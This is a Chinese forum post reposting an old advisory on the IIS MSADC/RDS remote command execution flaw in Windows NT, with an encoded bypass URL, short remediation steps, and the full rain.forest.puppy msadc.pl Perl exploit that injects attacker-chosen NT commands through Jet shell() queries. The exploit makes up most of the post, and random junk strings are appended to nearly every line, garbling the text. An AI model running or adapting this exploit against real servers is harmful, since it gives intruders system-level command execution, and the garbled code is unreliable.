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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) d|c> Y(  
?c!W*`yP  
涉及程序: $NG|z0  
Microsoft NT server tf+5@Zf]4  
+W-,74A  
描述: IFg(Ze~  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +S3r]D3v/  
{F~:8 6z(g  
详细: f<T"# G$5  
如果你没有时间读详细内容的话,就删除: #MhieG5  
c:\Program Files\Common Files\System\Msadc\msadcs.dll C)|{7W  
有关的安全问题就没有了。 $6 A91|ZSQ  
c6 tB9b  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 DoYzTSWx  
LG qg0 (  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Mkc|uiT   
关于利用ODBC远程漏洞的描述,请参看: xf?6_=  
t:h~p-&QB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B1C"F-2d  
MJ+]\(  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Q[M?LNE`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~ [4oA$[a|  
k}o*=s>M  
这里不再论述。 IT~pp _6g  
NgXV|) L  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 8a SH0dX  
T)QT_ST.9  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset i[wEH1jR  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;.g <u  
p*^[ ~}N  
 @aC2]  
#将下面这段保存为txt文件,然后: "perl -x 文件名" `vijd(a?v  
&oyj8  
#!perl sb7~sa&-  
# o/U"'FP  
# MSADC/RDS 'usage' (aka exploit) script ~YX!49XfHh  
# ^8#;>+7R  
# by rain.forest.puppy D\ H) uV`  
# mq(*4KFWJ2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me HYkZMVH{  
# beta test and find errors! pzPm(M1^X  
1ukCH\YgU  
use Socket; use Getopt::Std; lVmm`q6n9  
getopts("e:vd:h:XR", \%args); %O<  qw  
[H!8m7i;  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; zU7/P|Dw+  
iq!u}# x_  
if (!defined $args{h} && !defined $args{R}) { 07?|"c.  
print qq~ n#|pR2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3;h%mk KQ+  
-h <host> = host you want to scan (ip or domain) mP?~#RZ  
-d <seconds> = delay between calls, default 1 second o|v_+<zD!  
-X = dump Index Server path table, if available B[I a8t  
-v = verbose e{dYLQd  
-e = external dictionary file for step 5 h 'F\9t  
ny. YkN2  
Or a -R will resume a command session 4X5Tyv(Dp  
EZ.|6oug\  
~; exit;} y_=},a  
6tBh`nYB=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; MJ )aY2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qrj:H4#VB  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Ak\w)!?s  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); fs=W(~"  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :]viLw\&g  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } j(;o   
_qPd)V6yb  
if (!defined $args{R}){ $ret = &has_msadc; \2K_"5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} BZP~m=kq  
>J \}&!8,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" PJCRvs|X  
. "cmd /c "; V_SZp8  
$in=<STDIN>; chomp $in; jd&kak  
$command="cmd /c " . $in ; MMI7FlfY  
;DkX"X+  
if (defined $args{R}) {&load; exit;} v/Z!Wp1LV  
.\?)O+J!  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2 P=c1;  
&try_btcustmr; "[*W=6m0  
A;4O,p@   
print "\nStep 2: Trying to make our own DSN..."; &mM[q 'V  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2[Ja|W\If  
k3 65.nc  
print "\nStep 3: Trying known DSNs..."; \*C}[D  
&known_dsn; #hOAG_a,  
sKkk+-J4  
print "\nStep 4: Trying known .mdbs..."; {M5[gr%  
&known_mdb; W+'|zhn  
\.R+|`{tf  
if (defined $args{e}){ E_aDkNT  
print "\nStep 5: Trying dictionary of DSN names..."; F`3J=AJOJ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } L0Fhjbc  
j^g^=uau  
print "Sorry Charley...maybe next time?\n"; Z5vpo$l  
exit; W* XG9  
d +]Gw  
############################################################################## 5jpb`Axj#  
f/r@9\x  
sub sendraw { # ripped and modded from whisker p&:(D=pIu  
sleep($delay); # it's a DoS on the server! At least on mine... RSNukg  
my ($pstr)=@_; -qPYm?$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d@:4se-q+  
die("Socket problems\n"); Z"# /,?|3@  
if(connect(S,pack "SnA4x8",2,80,$target)){ N* C"+2  
select(S); $|=1; (>OCLmV$  
print $pstr; my @in=<S>; =]OG5b_-Y  
select(STDOUT); close(S); em87`Hj^lo  
return @in; r&G=}ZMO  
} else { die("Can't connect...\n"); }} Wm5/>Cu,  
gCMwmanX  
############################################################################## @q?zh'@;  
nJ.<yrzi  
sub make_header { # make the HTTP request %CxrXU  
my $msadc=<<EOT S}=euY'i  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -m&8SN  
User-Agent: ACTIVEDATA m#E%, rT  
Host: $ip QT;mCD=OD  
Content-Length: $clen /A U& X  
Connection: Keep-Alive Kw%n;GFl'  
Hw1<! Dyv  
ADCClientVersion:01.06 a8#6}`|C?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^_5Nh^  
.,C8ASfh  
--!ADM!ROX!YOUR!WORLD! ^cE|o&Rm;  
Content-Type: application/x-varg y] Io`w(>  
Content-Length: $reqlen 24TQl<H{  
BwN65_5p  
EOT =%4vrY `  
; $msadc=~s/\n/\r\n/g; ; 7`y##  
return $msadc;} m)A~1+M$)L  
"Q:m0P xb  
############################################################################## lbw*T  
`YDe<@6'  
sub make_req { # make the RDS request B rGaCja  
my ($switch, $p1, $p2)=@_; D (MolsKc?  
my $req=""; my $t1, $t2, $query, $dsn; ?lh `>v  
pZu2[  
if ($switch==1){ # this is the btcustmr.mdb query pq"3)+3:  
$query="Select * from Customers where City=" . make_shell(); IAD_Tck  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3H0~?z_  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9Bl c  
rUX1Iu7  
elsif ($switch==2){ # this is general make table query D Hkmn  
$query="create table AZZ (B int, C varchar(10))"; 4uW}.7R'  
$dsn="$p1";} H0Q.; !^  
p/|": (U  
elsif ($switch==3){ # this is general exploit table query Z|YiYQl[)  
$query="select * from AZZ where C=" . make_shell(); cO,ELu  
$dsn="$p1";} j5*W[M9W  
y/>]6Pj  
elsif ($switch==4){ # attempt to hork file info from index server SArSi6vF  
$query="select path from scope()"; 5I!EsW$sY  
$dsn="Provider=MSIDXS;";} vHY."$|H  
6.z8!4fpl  
elsif ($switch==5){ # bad query ]j.??'+rg  
$query="select"; \0'7p-T6  
$dsn="$p1";} sLE@Cm]k  
*&b~cyC  
$t1= make_unicode($query); "y_A xOH  
$t2= make_unicode($dsn); &;~x{q]3  
$req = "\x02\x00\x03\x00"; x[Xj[O  
$req.= "\x08\x00" . pack ("S1", length($t1)); b(lC7Xm  
$req.= "\x00\x00" . $t1 ; C3Mr)  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5B [kZ?>  
$req.= "\x00\x00" . $t2 ; a'f0Wv0%"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; *5DOTWos  
return $req;} [p%@ pV  
gDP\u<2!  
############################################################################## <$WRc\}&g  
Cd:ofv/3  
sub make_shell { # this makes the shell() statement }MKm>N  
return "'|shell(\"$command\")|'";} %Lec\(-4L  
4{Vw30DZ  
############################################################################## 6e1/h@p\7  
Sri,sZv  
sub make_unicode { # quick little function to convert to unicode 7/.-dfEK  
my ($in)=@_; my $out; <<@vy{*Hg  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } eMPk k=V  
return $out;} gl/n*s#r_  
b?#k  
############################################################################## S ^?&a5{o  
eGrC0[SH  
sub rdo_success { # checks for RDO return success (this is kludge) >gAq/'.Q  
my (@in) = @_; my $base=content_start(@in); KmoPFlw  
if($in[$base]=~/multipart\/mixed/){ @\,WJmW  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} V j\1 HQ  
return 0;} :eQ?gM!,  
>b>3M'  
############################################################################## 8U8l 5r  
|];s[^$#  
sub make_dsn { # this makes a DSN for us $9v:(:!Bm  
my @drives=("c","d","e","f"); y6|&bJ @  
print "\nMaking DSN: "; +kF$I7LN  
foreach $drive (@drives) {  =(kwMJ  
print "$drive: "; YYFJJ,7?  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . yM%,*VZ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 9QaEUy*,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {K-]nh/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 9Ny{2m=Ye  
return 0 if $2 eq "404"; # not found/doesn't exist [4:_6vd7X  
if($2 eq "200") { V#;6 <H"  
foreach $line (@results) { \S(:O8_"68  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} HFD5* Z~M  
} return 0;} )Yvf9dl  
$ig%YB  
############################################################################## . W{\wk n  
JV|GE n\@N  
sub verify_exists { C<CE!|sfr  
my ($page)=@_; k$nQY  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @,i_ KN6C  
return $results[0];} o/E A%q1  
M IPmsEdBi  
############################################################################## ,5" vzGLJ  
=:rR%L!a  
sub try_btcustmr { IS0RhtGy/  
my @drives=("c","d","e","f"); ~8AcW?4Z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Gd$odKtI  
gTRm  
foreach $dir (@dirs) { 5?),6o);  
print "$dir -> "; # fun status so you can see progress yW.s?3X  
foreach $drive (@drives) { @; ayl  
print "$drive: "; # ditto w=Xil  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; (KaP=t}  
$reqlenlen=length( "$reqlen" ); WAlsh  
$clen= 206 + $reqlenlen + $reqlen; o0Qy?14T-  
T$/6qZew  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *9}2Bmojv  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} o.DT`L8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} EJP##eGx  
olzP=08aaV  
############################################################################## T_CYSS|fX  
s$e0;C!D  
sub odbc_error { L 0k K'n?  
my (@in)=@_; my $base; !n4p*<Y6  
my $base = content_start(@in); kQXtO)  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1P&XG@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3IHya=qN  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Wd'wL"6De  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hA)tad]  
return $in[$base+4].$in[$base+5].$in[$base+6];} w~>V2u_-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; z5Hz-.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Two$wL/  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} g:MpN^l  
ot P7;l  
############################################################################## E!J;bX5  
4J*%$Vxv  
sub verbose { "FI]l<G&  
my ($in)=@_; GkjTE2I3  
return if !$verbose; -p =b5L  
print STDOUT "\n$in\n";} SEQ bw](ss  
{q%&~  
############################################################################## H)1< ;{:  
xfw)0S  
sub save { S2/c2  
my ($p1, $p2, $p3, $p4)=@_; |S#)[83*3  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4`uI)N(}*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |Euf:yWY  
close OUT;} M H }4F  
GbG!vo  
############################################################################## 'Syq!=,  
rgheq<B:  
sub load { RS@*/.]o  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; U]Q2EL\%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Px:PoOw\  
@p=<IN>; close(IN); (</cu$w>H)  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Dt\F]\6sd  
$target= inet_aton($ip) || die("inet_aton problems"); hH8:7i  
print "Resuming to $ip ..."; Jla ;^X  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; :i+Tf~k{  
if($p[1]==1) { Kr`Cr5v  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [aX'eM q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; p%5RE%u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3B95t-  
if (rdo_success(@results)){print "Success!\n";} *b9=&:pU(  
else { print "failed\n"; verbose(odbc_error(@results));}} !u)ve h3x  
elsif ($p[1]==3){ XPE{]4 g  
if(run_query("$p[3]")){ */ZrZ^?o  
print "Success!\n";} else { print "failed\n"; }} 5'gV_U  
elsif ($p[1]==4){ 4' bup h1(  
if(run_query($drvst . "$p[3]")){ \M1-  
print "Success!\n"; } else { print "failed\n"; }} 0}jB/Z_T  
exit;} ;,n{6`  
H `Fe |6I&  
############################################################################## 1QXv}36#3n  
<e|I?zI9-  
sub create_table { C0;c'4(  
my ($in)=@_; zuR!,-W  
$reqlen=length( make_req(2,$in,"") ) - 28; # (B <n  
$reqlenlen=length( "$reqlen" ); !]7r>NS>  
$clen= 206 + $reqlenlen + $reqlen; DU#6%8~  
my @results=sendraw(make_header() . make_req(2,$in,"")); [5^"U+`{x  
return 1 if rdo_success(@results); 0m_c43+^  
my $temp= odbc_error(@results); verbose($temp); I:[^><?E  
return 1 if $temp=~/Table 'AZZ' already exists/; )xIk#>)  
return 0;} jD9 ^DzFx  
+ |MHiC  
############################################################################## ]cLO-A  
8@ck" LUzD  
sub known_dsn { a=\r~Z7E  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go OF*m 9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 7HzO_u%H1  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Qp~O!9ph  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0dA'f0Uy\X  
7 7"'?  
foreach $dSn (@dsns) { zl\mBSBx"  
print "."; (gZKR2hO  
next if (!is_access("DSN=$dSn")); }6MHIr=o  
if(create_table("DSN=$dSn")){ >8+:{NW  
print "$dSn successful\n"; }2;~':Mklz  
if(run_query("DSN=$dSn")){ fEF1&&8^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B uV@w-|  
print "Something's borked. Use verbose next time\n";}}} print "\n";} x;2tmof=L  
i/`N~r   
############################################################################## ntE;*F yH  
Q)S0z2  
sub is_access { $+qJ#0OE$  
my ($in)=@_; 0q(}nv  
$reqlen=length( make_req(5,$in,"") ) - 28; EOWLGleD1  
$reqlenlen=length( "$reqlen" ); W>+\A"  
$clen= 206 + $reqlenlen + $reqlen; E$dPu  
my @results=sendraw(make_header() . make_req(5,$in,"")); rkh+$*t@i7  
my $temp= odbc_error(@results); H'Q4IRT  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5%j !SVW  
return 0;} LO0<=4iN(  
^c" wgRHc<  
############################################################################## `Et)@{iP  
<m:8%]%M6  
sub run_query { O` R@6KG  
my ($in)=@_; y}dop1zp  
$reqlen=length( make_req(3,$in,"") ) - 28; < TJzp  
$reqlenlen=length( "$reqlen" ); 'H- : >'k  
$clen= 206 + $reqlenlen + $reqlen; vfPL;__{Y]  
my @results=sendraw(make_header() . make_req(3,$in,"")); Ha{#  
return 1 if rdo_success(@results); raRb K8CQ  
my $temp= odbc_error(@results); verbose($temp); f]N2(eM  
return 0;} "HSAwe`5jU  
daS l.:1  
############################################################################## _Vr>/f  
*T0{ yI  
sub known_mdb { ousvsP%'  
my @drives=("c","d","e","f","g"); ^Rriu $\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ibo{!>m  
my $dir, $drive, $mdb; M:i;;)cq  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; z)N8#Y~vn  
9M{z@H/  
# this is sparse, because I don't know of many W=j  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r kOLTi[$  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *CG-F=  
"\\system32\\certmdb.mdb", iX,| ;J|]  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Ao>] ~r0  
S{_i1'  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", !*#2~$:  
"\\cfusion\\cfapps\\forums\\forums_.mdb", DY| s |:d  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", *m$P17/C  
"\\cfusion\\cfapps\\security\\realm_.mdb", F"o K*s  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _qwKFC  
"\\cfusion\\database\\cfexamples.mdb", ^)|8N44O  
"\\cfusion\\database\\cfsnippets.mdb", P:,@2el  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", %DH2]B? 0  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Te&F2`vo  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (Q~ p"Ch  
"\\cfusion\\database\\smpolicy.mdb", BVAxeXO  
"\\cfusion\\database\cypress.mdb", -'ff0l  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", aYc*v5Q N3  
"\\website\\cgi-win\\dbsample.mdb", M'gw-^(  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", mOm_a9M L  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #w_cos[I  
); #these are just 3 sUTdCnNf  
foreach $drive (@drives) { 7OSk0%Q,  
foreach $dir (@dirs){ -DWyKR= j"  
foreach $mdb (@sysmdbs) { oT9dMhx8  
print "."; $J]VY;C!  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9p| ;Hh:  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Z{<&2*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ }.bhsy  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h0i/ v  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `1;m:,9  
!kAjne8]d  
foreach $drive (@drives) { E8$k}I  
foreach $mdb (@mdbs) { j0^%1  
print "."; &z'N Q !uV  
if(create_table($drv . $drive . $dir . $mdb)){ ry^FJyjW  
print "\n" . $drive . $dir . $mdb . " successful\n"; "9Q @&C  
if(run_query($drv . $drive . $dir . $mdb)){ OUoN  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; N$cm;G=]  
} else { print "Something's borked. Use verbose next time\n"; }}}} /K!&4mK  
} UEkn@^&bg  
K ?R* )_  
############################################################################## 954!ED|F(  
B{x`^3q R  
sub hork_idx { OQl7#`G!H%  
print "\nAttempting to dump Index Server tables...\n"; \9r1JP0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~=xiMB;oH  
$reqlen=length( make_req(4,"","") ) - 28; W@"s~I6  
$reqlenlen=length( "$reqlen" ); Fog4m=b`g  
$clen= 206 + $reqlenlen + $reqlen; "gaurr3  
my @results=sendraw2(make_header() . make_req(4,"","")); $hND!T+;  
if (rdo_success(@results)){ ;/hR#>ib  
my $max=@results; my $c; my %d; :!',o]"4,k  
for($c=19; $c<$max; $c++){ K+2sq+ 3q  
$results[$c]=~s/\x00//g; ~8fy qE$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7sgK+ ip  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; wlSl ~A/s  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Q7V*~{  
$d{"$1$2"}="";} $q}zW%  
foreach $c (keys %d){ print "$c\n"; } =t@8Y`9w  
} else {print "Index server doesn't seem to be installed.\n"; }} T9&-t7:  
;!RS q'L1  
############################################################################## $@WqM$  
.X2fu/}  
sub dsn_dict { . }#R  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); suo;+T=`I  
while(<IN>){ rf}@16O$'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; HhZlHL  
next if (!is_access("DSN=$dSn")); ~f:y^`+Q[  
if(create_table("DSN=$dSn")){ {lNvKm)w  
print "$dSn successful\n"; r .&<~x  
if(run_query("DSN=$dSn")){ q oA?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _f^JXd,7v  
print "Something's borked. Use verbose next time\n";}}} }vx+/J  
print "\n"; close(IN);} | DB7o+4  
i!AFXVX  
############################################################################## $-x@P9im  
OD;-0Bj  
sub sendraw2 { # ripped and modded from whisker PIo8mf/  
sleep($delay); # it's a DoS on the server! At least on mine... p= fj1*  
my ($pstr)=@_; i\h"N K  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Z{Si`GA  
die("Socket problems\n"); U;PGBoe  
if(connect(S,pack "SnA4x8",2,80,$target)){ [SJ-]P|^l  
print "Connected. Getting data";  M{!Y   
open(OUT,">raw.out"); my @in; S9cAw5E(yN  
select(S); $|=1; print $pstr; A(j9T,!  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -}_X'h&"  
close(OUT); select(STDOUT); close(S); return @in; @ OSSqH  
} else { die("Can't connect...\n"); }} wWh)yfPh8H  
htgtgW9 ^P  
############################################################################## &>jSuvVT  
M&93TQU-  
sub content_start { # this will take in the server headers !L|}/u3v  
my (@in)=@_; my $c; lla?;^,  
for ($c=1;$c<500;$c++) { LtJl\m.th  
if($in[$c] =~/^\x0d\x0a/){ bi01]  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #L3heb&9  
else { return $c+1; }}} obRYU|T  
return -1;} # it should never get here actually t@_MWF  
W##~gqZ/  
############################################################################## U3oMY{{E J  
)(4.7>  
sub funky { E((U=P}+g  
my (@in)=@_; my $error=odbc_error(@in); goJK~d8M*  
if($error=~/ADO could not find the specified provider/){ Xc>M_%+ R  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~4T:v _Q7g  
exit;} ulA||  
if($error=~/A Handler is required/){ 3?n2/p 7=  
print "\nServer has custom handler filters (they most likely are patched)\n"; AlVB hR`  
exit;} G C#s;X  
if($error=~/specified Handler has denied Access/){ #8{U0 7]"  
print "\nServer has custom handler filters (they most likely are patched)\n"; [9-&Lq_ g  
exit;}} M15jwR!:M  
^9jrI  
############################################################################## 3RbPc8($Y  
neLQ>WT L  
sub has_msadc { ^KlW"2:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); NKyKsu  
my $base=content_start(@results); J*%XtRio  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 8.Z9 i  
return 0;} ;z Qrree#  
o@5zf{-  
######################## j0X Jf<  
u#Z#NP ~F0  
Z<Rhn  
解决方案: u`ezQvrcy  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o*r 2T4 8  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @OB7TI_/   
l5/!0]/  
拿出来充数 哈哈
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